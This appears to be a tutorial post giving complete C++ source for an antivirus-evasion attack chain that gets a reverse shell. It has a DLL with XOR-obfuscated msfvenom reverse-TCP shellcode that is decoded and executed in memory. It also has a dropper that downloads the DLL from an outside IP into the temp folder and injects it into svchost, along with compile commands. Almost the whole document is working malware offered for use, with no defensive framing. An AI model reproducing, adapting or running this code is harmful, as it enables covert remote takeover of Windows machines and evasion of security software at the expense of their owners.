Its always a challenge to bypass security solutions but here is simple example i have prepared an exploit chain in order to bypass av solutions and get a reverse shell. Codes are self explanatory so i wont be describe it line by line. To sake of simplicity please start reading the code pieces from main function. For more details of used functions, see references.
Objective
Get a reverse shell without detecting by antiviruses.
To do list
Create a dll that contains XOR obfuscated shellcode and a shellcode launcher.
deobfuscate shellcode in runtime.
Create a dropper to drop and inject dll into svchost process.
List process ids and detect suitable svchost process.
Find temp path of current user.
Drop dll into temp path of current user.
Inject dll into svchost process.
Evil.dll
#include <Windows.h>
#include <string>
using namespace std;
//Dllmain entry. This will be called automatically when dll is injected.
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH){
string WOAaGzrxkERoHZIKBWwe="engin";
//obfuscated shellcode. msfvenom windows/x64/shell_reverse_tcp
char YLtYcxghF[] = "\x99\x26\xe4\x8d\x95\x86\xa7\x69\x65\x6e\x26\x38\x24\x3e\x35\x38\x33\x26\x56\xbb\x0\x26\xec\x3b\x5\x26\xec\x3b\x7d\x26\xec\x3b\x45\x26\xec\x1b\x35\x26\x68\xde\x2f\x24\x2a\x58\xac\x26\x56\xa9\xc9\x52\x6\x15\x67\x42\x47\x28\xa4\xa7\x6a\x28\x64\xaf\x85\x84\x37\x2f\x36\x21\xee\x3c\x47\xe2\x27\x52\x2f\x68\xb5\xe5\xe7\xe1\x65\x6e\x67\x21\xe0\xae\x13\xe\x2d\x6f\xb7\x39\xee\x26\x7f\x2d\xee\x2e\x47\x20\x64\xbe\x84\x3f\x2d\x91\xae\x28\xee\x5a\xef\x21\x64\xb8\x2a\x58\xac\x26\x56\xa9\xc9\x2f\xa6\xa0\x68\x2f\x66\xa8\x5d\x8e\x12\x98\x29\x6d\x2b\x4d\x6d\x2b\x5e\xb8\x10\xb6\x3f\x2d\xee\x2e\x43\x20\x64\xbe\x1\x28\xee\x62\x2f\x2d\xee\x2e\x7b\x20\x64\xbe\x26\xe2\x61\xe6\x2f\x68\xb5\x2f\x3f\x28\x3d\x30\x3e\x33\x24\x36\x26\x30\x24\x34\x2f\xea\x89\x4e\x26\x3b\x9a\x8e\x3f\x28\x3c\x34\x2f\xe2\x77\x87\x30\x96\x9a\x91\x3a\x20\xdb\x19\x14\x5b\x3a\x5d\x55\x69\x65\x2f\x31\x20\xec\x88\x2f\xe8\x89\xce\x66\x69\x65\x27\xee\x8c\x2c\xd2\x65\x69\x74\x32\xa7\xc1\x64\xb\x26\x3d\x2c\xe7\x83\x25\xec\x9f\x26\xd3\x29\x19\x41\x6e\x9a\xbb\x2b\xe0\x8f\x6\x66\x68\x65\x6e\x3e\x28\xdf\x47\xe7\x2\x65\x91\xb2\x39\x35\x23\x56\xa0\x28\x5f\xa7\x21\x9a\xae\x2f\xe0\xa7\x26\x98\xa9\x2d\xe7\xa6\x28\xdf\x84\x68\xb6\x85\x91\xb2\x21\xec\xa9\xd\x79\x24\x36\x2b\xe0\x87\x26\xee\x90\x24\xd4\xfe\xcc\x11\xf\x98\xbc\x2d\xef\xa3\x29\x67\x6e\x67\x20\xdd\xd\xa\xd\x65\x6e\x67\x69\x65\x2f\x37\x28\x35\x26\xee\x8b\x32\x39\x30\x24\x54\xae\xd\x64\x3c\x2f\x37\x8b\x99\x8\xa0\x2d\x41\x3a\x66\x68\x2d\xe3\x23\x4d\x7d\xa8\x67\x1\x2d\xe7\x81\x3f\x35\x2f\x37\x28\x35\x2f\x37\x20\x9a\xae\x26\x39\x2c\x91\xaf\x24\xec\xaf\x2b\xe0\xa4\x2f\xdd\x10\xa9\x51\xe1\x96\xb0\x26\x56\xbb\x2d\x91\xad\xe2\x6b\x2f\xdd\x61\xe2\x73\x7\x96\xb0\xd5\x97\xdc\xc7\x38\x26\xd3\xc3\xfb\xda\xf4\x9a\xbb\x2f\xea\xa1\x46\x5b\x6f\x19\x64\xe7\x92\x85\x1b\x62\xd2\x22\x7d\x15\x6\xf\x6e\x3e\x28\xec\xb4\x98\xbc\x65";
int j = 0;
//deobfuscate the shellcode
for(int i=0; i < sizeof YLtYcxghF; i++){
if(j == WOAaGzrxkERoHZIKBWwe.size() -1) j=0;
YLtYcxghF[i] = YLtYcxghF[i]^WOAaGzrxkERoHZIKBWwe[j];
j++;}
//put shellcode in memory and execute it.
void *LwqxlvaiyXfrP = VirtualAlloc(0, sizeof YLtYcxghF, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(LwqxlvaiyXfrP, YLtYcxghF, sizeof YLtYcxghF);
((void(*)())LwqxlvaiyXfrP)();
}
return TRUE;
}
Compile it as: g++ -shared -o inject.dll inject.cpp -std=c++11
Dropper & Injector (dropper.cpp)
include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <psapi.h>
#include <Shlwapi.h>
#include <urlmon.h>
#include <lmcons.h>
using namespace std;
//detect process id
DWORD FindProcessID( DWORD processID )
{
TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
// Get a handle to the process.
HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, processID );
// Get the process name.
if (NULL != hProcess )
{
HMODULE hMod;
DWORD cbNeeded;
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod),
&cbNeeded) )
{
GetModuleBaseName( hProcess, hMod, szProcessName,
sizeof(szProcessName)/sizeof(TCHAR) );
}
}
if (StrStrIA(szProcessName, "svchost") != NULL) {
// Release the handle to the process. And return the processID.
CloseHandle( hProcess );
return processID;
}
//if no process found return 0.
return 0;
}
//download dll from url and save it into temp folder
void DownloadDLL(const char fPath[]){
//download malicious dll into temp folder.
HRESULT hr;
LPCTSTR Url = _T("http://192.168.1.101/inject.dll"), File = _T(fPath);
hr = URLDownloadToFile (0, Url, File, 0, 0);
}
//inject dll into process.
void InjectDLL(DWORD processID, LPCSTR dllPath)
{
// path to our dll
LPCSTR DllPath = dllPath;
// Open a handle to target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
// Allocate memory for the dllpath in the target process
// length of the path string + null terminator
LPVOID pDllPath = VirtualAllocEx(hProcess, 0, strlen(DllPath) + 1,
MEM_COMMIT, PAGE_READWRITE);
// Write the path to the address of the memory we just allocated
// in the target process
WriteProcessMemory(hProcess, pDllPath, (LPVOID)DllPath,
strlen(DllPath) + 1, 0);
// Create a Remote Thread in the target process which
// calls LoadLibraryA as our dllpath as an argument -> program loads our dll
HANDLE hLoadThread = CreateRemoteThread(hProcess, 0, 0,
(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32.dll"),
"LoadLibraryA"), pDllPath, 0, 0);
// Free the memory allocated for our dll path
VirtualFreeEx(hProcess, pDllPath, strlen(DllPath) + 1, MEM_RELEASE);
}
int main( void )
{
DWORD aProcesses[1024], cbNeeded, cProcesses;
DWORD selectedProcess;
DWORD nBufferLength = UNLEN + 1;
char tempPath[UNLEN + 1];
unsigned int i;
//get the temprorary path and insert downloaded filename.
GetTempPathA(nBufferLength, tempPath);
strcat(tempPath, "inject.dll");
//Download DLL
DownloadDLL(tempPath);
//enumerate processes and find the processID of suitable svchost process.
EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded );
cProcesses = cbNeeded / sizeof(DWORD);
for ( i = 0; i < cProcesses; i++ )
{
//if proper process id is returned use it as target process.
if( aProcesses[i] != 0 )
{
selectedProcess = FindProcessID( aProcesses[i] );
if(selectedProcess != 0)
{
break;
}
}
}
//inject dll into suitable svchost
InjectDLL(selectedProcess, tempPath);
return 0;
}
Compile it as: g++ .\dropper.cpp -o dropper.exe -lpsapi -lurlmon